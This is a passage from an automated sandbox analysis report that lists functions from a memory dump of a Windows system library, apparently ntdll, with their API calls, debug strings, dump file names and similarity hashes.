Function 6C094496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6C0517F0,00000000,?,?), ref: 6C0944DB

Part of subcall function 6C031D47: memset.1105(00000000,00000000,6C0517F0,?,00000001,00000000,?,6C008D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6C031D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6C0517F0,00000000,?,?), ref: 6C0945F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6C0517F0,00000000,?,?), ref: 6C094620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6C0517F0,00000000,?,?), ref: 6C09464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6C0517F0,00000000,?,?), ref: 6C094674

Strings

SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6C0944D3
RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6C0944CE

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: e0d0ba8584f1b5f6b08e4d049a7655aac1391a2017fd417b33ac5fc40fa8791a
Instruction ID: 2ebd5dcba937073848814e8a6f1e4eae3d43d48e931ead3097b1b66a9565098e
Opcode Fuzzy Hash: e0d0ba8584f1b5f6b08e4d049a7655aac1391a2017fd417b33ac5fc40fa8791a
Instruction Fuzzy Hash: 5481E9B5A01606EFD750CF69C880B9AB7F4FF08318B155569E818DBB01E331F962CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6C0042EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90stringCOMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6C004176,00000003,?,00000000,00000000), ref: 6C004303
_strnicmp.1105(?,secserv.dll,0000000C,00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6C004176,00000003), ref: 6C004340
strncmp.1105(?,.txt,00000005), ref: 6C0606DD
strncmp.1105(?,.txt2,00000006), ref: 6C0606F7

Strings

secserv.dll, xrefs: 6C00433A
.txt2, xrefs: 6C0606F1
.txt, xrefs: 6C0606D7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage_strnicmp
String ID: .txt$.txt2$secserv.dll
API String ID: 290936131-436433099
Opcode ID: 5aa519b3af01f4c01746d60e539b5fe333548442065b6b62dcdfc57dac2a580c
Instruction ID: 5d6a315dbc4ea49792857b00e272b7affe1b56d9eec80364dd2eeacc4f9c0785
Opcode Fuzzy Hash: 5aa519b3af01f4c01746d60e539b5fe333548442065b6b62dcdfc57dac2a580c
Instruction Fuzzy Hash: 8221E470A48206B7EB04CE968880BAFF7F8BF4030CF145568E50597A40F330AA55DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 6C0041F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77stringCOMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6C004214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6C004249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6C004261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6C004279

Strings

.aspack, xrefs: 6C004243
.pcle, xrefs: 6C00425B
.sforce, xrefs: 6C004273

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: c4323c77133ee3a5c018a061993bedc5f63a1759ef0ff7a076eac403983d0d68
Instruction ID: 19dc71f87823f1a9ee4c080087dc170a53d65bdcca2eb1911ad9e067151232f0
Opcode Fuzzy Hash: c4323c77133ee3a5c018a061993bedc5f63a1759ef0ff7a076eac403983d0d68
Instruction Fuzzy Hash: 6E21F931B4130077F7108F95DC81BAFB3E9AF5430CF518459ED4497A45EA30ED95CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 6C01EC7F, Relevance: 12.3, APIs: 8, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C01ECAD
RtlReleaseSRWLockExclusive.1105(6C0F84D8,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C01ECD2
RtlFreeHeap.1105(00000000,?,6C0F84D8,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C01ED04
RtlReleaseActivationContext.1105(-00000F38,6C0F84D8,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C01ED28
_wcsicmp.1105(6C0DFE98,?,6C0DFB78,00000030,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C01EE13
_wcsicmp.1105(6C0DFE98,?,6C0DFB78,00000030,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C01EE74
RtlFreeHeap.1105(00000000,?,6C0517F0,6C02F715,6C02F5C0,?,?,?,00000001,-00000F38), ref: 6C03C28C

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: f2b3ba60d08ab3b3f50f3325ee69cc8d8abf97fde750b2c79eaf5925b6cf9a44
Instruction ID: 3bc070935686cfb1b8cad7659d5a717c7a110f895613f735647ed70ff95607a2
Opcode Fuzzy Hash: f2b3ba60d08ab3b3f50f3325ee69cc8d8abf97fde750b2c79eaf5925b6cf9a44
Instruction Fuzzy Hash: 3381D470A092058BCB14CFADC954B9EF7F2BF85318F24862DE5659BF50E730A942CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6C007220, Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__isascii.1105(0000000A,?), ref: 6C007275
isdigit.1105(00000000,?), ref: 6C007283
__isascii.1105(0000000A,?), ref: 6C062467
isdigit.1105(00000000,?), ref: 6C062475

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit
String ID:
API String ID: 2481201981-0
Opcode ID: 071b5b498809cea8f17ad87fb55c87c1e0367c0e6a25cf8f889750b65751c6a4
Instruction ID: b6e99e8efe04f289af9ba01baaf455f8171683201eb1bfec1f5fb75706846ea2
Opcode Fuzzy Hash: 071b5b498809cea8f17ad87fb55c87c1e0367c0e6a25cf8f889750b65751c6a4
Instruction Fuzzy Hash: 1D710531B0421A8BEB04CEADC8507FE77F5AF46304F65462AE955E7E80DB38D845C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C01F820, Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

memcmp.1105(00000030,6BFE5138,00000010,00000000,00000001,-00000001), ref: 6C01F84C
RtlAcquireSRWLockExclusive.1105(00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6C01F883
RtlAcquireSRWLockExclusive.1105(6C0F86AC,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6C01F8C6

Part of subcall function 6C034D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6C034D77
Part of subcall function 6C034D3B: RtlRunOnceExecuteOnce.1105(6C0F86B0,6C035690,00000000,00000000,00000000,00000000,00000024), ref: 6C034D9E
Part of subcall function 6C034D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6C034DE9
Part of subcall function 6C034D3B: memcmp.1105(00000000,6BFE5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6C034E26

RtlRbInsertNodeEx.1105(6C0F86DC,?,00000000,00000000), ref: 6C01F931
RtlReleaseSRWLockExclusive.1105(6C0F86AC,6C0F86DC,?,00000000,00000000), ref: 6C01F93B
RtlReleaseSRWLockExclusive.1105(00000024,6C0F86AC,6C0F86DC,?,00000000,00000000), ref: 6C01F94F

Part of subcall function 6C03BC2C: RtlAcquireSRWLockExclusive.1105(?,00000030,00000000,-00000001,6C01F875,00000000,00000000,00000000,00000001,-00000001), ref: 6C03BC79
Part of subcall function 6C03BC2C: RtlReleaseSRWLockExclusive.1105(?,?,00000030,00000000,-00000001,6C01F875,00000000,00000000,00000000,00000001,-00000001), ref: 6C03BC8D
Part of subcall function 6C03BC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,00000030,00000000,-00000001,6C01F875,00000000,00000000,00000000,00000001,-00000001), ref: 6C03BCA6

RtlSetLastWin32Error.1105(00000057,00000000,00000001,-00000001), ref: 6C01F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6C06BD78

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: 8367d3cdc4bc5c232b889471d0930688fb317adff46b3fe447f0a6c4bc46545c
Instruction ID: e673a9d44ee47fa3bbb31f9c63273bf18d58c1de1a0853aba0c28f3671f53b6b
Opcode Fuzzy Hash: 8367d3cdc4bc5c232b889471d0930688fb317adff46b3fe447f0a6c4bc46545c
Instruction Fuzzy Hash: B041C37120C706ABDB11EFA5C840B9BF7ECAF85358F044619F9189BE40DB74E458CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C005C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452COMMON

Download Yara Rule

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6C005CC7

Strings

$, xrefs: 6C0614C8
xl--, xrefs: 6C005CB7
H, xrefs: 6C061428
$, xrefs: 6C0614CF
xn--, xrefs: 6C005CBE, 6C005CC5

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: 36718759ea3672622505a51837ab1320348773ff1ae8f1fd3bca7ce901431c41
Instruction ID: 8cce61f188b2b57fe9a20cceccb9fc90de57a7d2230972f23c39dd895f32774e
Opcode Fuzzy Hash: 36718759ea3672622505a51837ab1320348773ff1ae8f1fd3bca7ce901431c41
Instruction Fuzzy Hash: 69F1D275F0421A8BEF24CF69C4847ADB7F1EF48318F25826BD951ABE80E7309941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6C0274C0, Relevance: 10.8, APIs: 7, Instructions: 264COMMON

Download Yara Rule

APIs

RtlEqualUnicodeString.1105(?,6BFE1040,00000001,?,00000024,01000000), ref: 6C02769A
RtlEqualUnicodeString.1105(?,6BFE1050,00000001,?,6BFE1040,00000001,?,00000024,01000000), ref: 6C0276AE
RtlEqualUnicodeString.1105(?,6BFE1048,00000001,?,6BFE1050,00000001,?,6BFE1040,00000001,?,00000024,01000000), ref: 6C0276C2
RtlEqualUnicodeString.1105(?,6BFE1058,00000001,?,6BFE1048,00000001,?,6BFE1050,00000001,?,6BFE1040,00000001,?,00000024,01000000), ref: 6C0276D6
RtlEqualUnicodeString.1105(000FFFF0,6BFE1060,00000001,6BFE1068,00000001,6BFE18F8,00000001), ref: 6C027700
iswdigit.1105(000E6BFE,6BFE1048,00000001,?,6BFE1050,00000001,?,6BFE1040,00000001,?,00000024,01000000), ref: 6C02771D
RtlEqualUnicodeString.1105(00100000,6BFE18F8,00000001), ref: 6C06F9B0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: f07b78a19eb596af2b911b753efd7e0349ef5d09997502004e99dc82e73c8ed9
Instruction ID: bb7598aecfe6c2487f393d95664602494a20a1c233b0f9d00bffa73093d818f2
Opcode Fuzzy Hash: f07b78a19eb596af2b911b753efd7e0349ef5d09997502004e99dc82e73c8ed9
Instruction Fuzzy Hash: E8814C7180513156CF20CE5DC485BBDF3F9AF06708FA40667E8A5D7D90E37D8685C2A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C000B60, Relevance: 10.7, APIs: 7, Instructions: 234COMMON

Download Yara Rule

APIs

RtlIpv6StringToAddressW.1105(?,?,00000000,00000000), ref: 6C000BAA

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID:
API String ID: 27538981-0
Opcode ID: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction ID: f1d21975c9dad414cf32d9402daf5b93dd78f005e86763ed014719e587ffe688
Opcode Fuzzy Hash: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction Fuzzy Hash: 8D617936A483518BFB24CE64CD41BBE73F59F5436CF66412AE4A0E77C0EB789941CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6C008D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6C0517F0,00000000,?,00000000,?), ref: 6C008E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6C0517F0,00000000,?,00000000,?), ref: 6C008EBF

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6C063491
RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6C06348C

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: e761b019c4c4f0a06fa1e8ea52b029264dc9f0530bc4b03d34a3d2cb22edb09f
Instruction ID: 69cb0507b4f6a2b92496fbbeab58af2f4cca26c9810d40cd2b629a7910db26e8
Opcode Fuzzy Hash: e761b019c4c4f0a06fa1e8ea52b029264dc9f0530bc4b03d34a3d2cb22edb09f
Instruction Fuzzy Hash: C0714FB1A00219DFDB04CF59C880B9AB7F5FF58318F25469AE8189B751D331ED92CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6C0220A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199COMMON

Download Yara Rule

APIs

RtlRaiseException.1105(?), ref: 6C06D009
RtlRaiseException.1105(C0150010), ref: 6C06D07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6C06D127
RtlRaiseException.1105(C0150010), ref: 6C06D1C7

Strings

SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6C06D116
RtlDeactivateActivationContextUnsafeFast, xrefs: 6C06D111

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: 341e0c371cee8b17f4fb168eba047333266c0fa963f4bdc5dc72561b9b1f4e5e
Instruction ID: d39d1519066b232f7c8a6bae79e9095156900e38b8e2d42d021222eee55fc256
Opcode Fuzzy Hash: 341e0c371cee8b17f4fb168eba047333266c0fa963f4bdc5dc72561b9b1f4e5e
Instruction Fuzzy Hash: 378136B0508305DFE310CF1AC484B0AFBE0BF88758F644A2EF5999BA51D375D58ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 6C01A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

RtlValidSid.1105(00000050,?), ref: 6C01A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6C01A54A

Part of subcall function 6C01A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6C01A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6C01A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6C01A6A3
wcscat_s.1105(?,00000100,6BFF292C,?,00000050,?), ref: 6C06A2DB

Strings

S-1-, xrefs: 6C01A539

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: db01506b3d8cc2f2aa927f5669994bd35d8a0257b7cb89ef3bbe15003f4e5260
Instruction ID: 227deaf7aea92d413f361ebee3875313788428d78059433c6bc4c231ede6bbce
Opcode Fuzzy Hash: db01506b3d8cc2f2aa927f5669994bd35d8a0257b7cb89ef3bbe15003f4e5260
Instruction Fuzzy Hash: 72514CB1D082255ADB24CB68CC147FDF7F8AF05304F1542A6D569D3E80E338AA98CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C00CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134COMMON

Download Yara Rule

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6C064E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6C064E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6C064E1C

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6C064E17
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6C064E00
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6C064E0A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: b9924755e8fb883097c1daf0e7903063905785a6a3dc51ae536beeb11bd2f6b1
Instruction ID: c122978ccae49dab29394b3bb80e8c5d5e00f77ef9d815b22eb1e04bdd9eaf10
Opcode Fuzzy Hash: b9924755e8fb883097c1daf0e7903063905785a6a3dc51ae536beeb11bd2f6b1
Instruction Fuzzy Hash: A7413872B04254ABEF14DF59E8907BDB7E1E745714F51023BE911C7B90DB3A9860C2A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C03645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109timeCOMMON

Download Yara Rule

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6C036490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6C03651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6C036553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6C036588

Strings

0, xrefs: 6C0364E5
0, xrefs: 6C0364FA

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 63bc80d059aef3e90f3d2c1d86fb2f498ab0c6d447771c90d88feaed151b802f
Instruction ID: 89732b62fb693bef6734fb334cbea27a077303135af6948b4431a4e1e090727c
Opcode Fuzzy Hash: 63bc80d059aef3e90f3d2c1d86fb2f498ab0c6d447771c90d88feaed151b802f
Instruction Fuzzy Hash: 67414DB16097169FC301CF28C444B5ABBE4FB89718F04466EF988D7701D771EA49CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6C004510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6C073AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6C0608F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6C073AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6C0608FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6C060909

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6C060904
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6C0608ED
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6C0608F7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 3a62d25fc4b007fb6d9296f57d4c8896c294099b4945da6402b3a17fc48450ed
Instruction ID: f96fa0111ec69ba84347a523e02483c7c7e67b49f8ce93f95c028fdef5a2fe2a
Opcode Fuzzy Hash: 3a62d25fc4b007fb6d9296f57d4c8896c294099b4945da6402b3a17fc48450ed
Instruction Fuzzy Hash: CA2166337280057BF7145A9E98807B833D2D755309F520326E650D7FE2DF19C8A4C2AE

Uniqueness

Uniqueness Score: -1.00%

Function 6C01A8C0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlGetNtSystemRoot.1105(?,?), ref: 6C01A8F0
RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6C01A8FD

Part of subcall function 6C01A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6C01A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6C01A9E2

RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6C01A915
RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6C01A924
RtlReplaceSystemDirectoryInPath.1105(02140000,0000014C,00000001,00000000,02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6C01A975

Strings

\SysWOW64, xrefs: 6C01A90F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

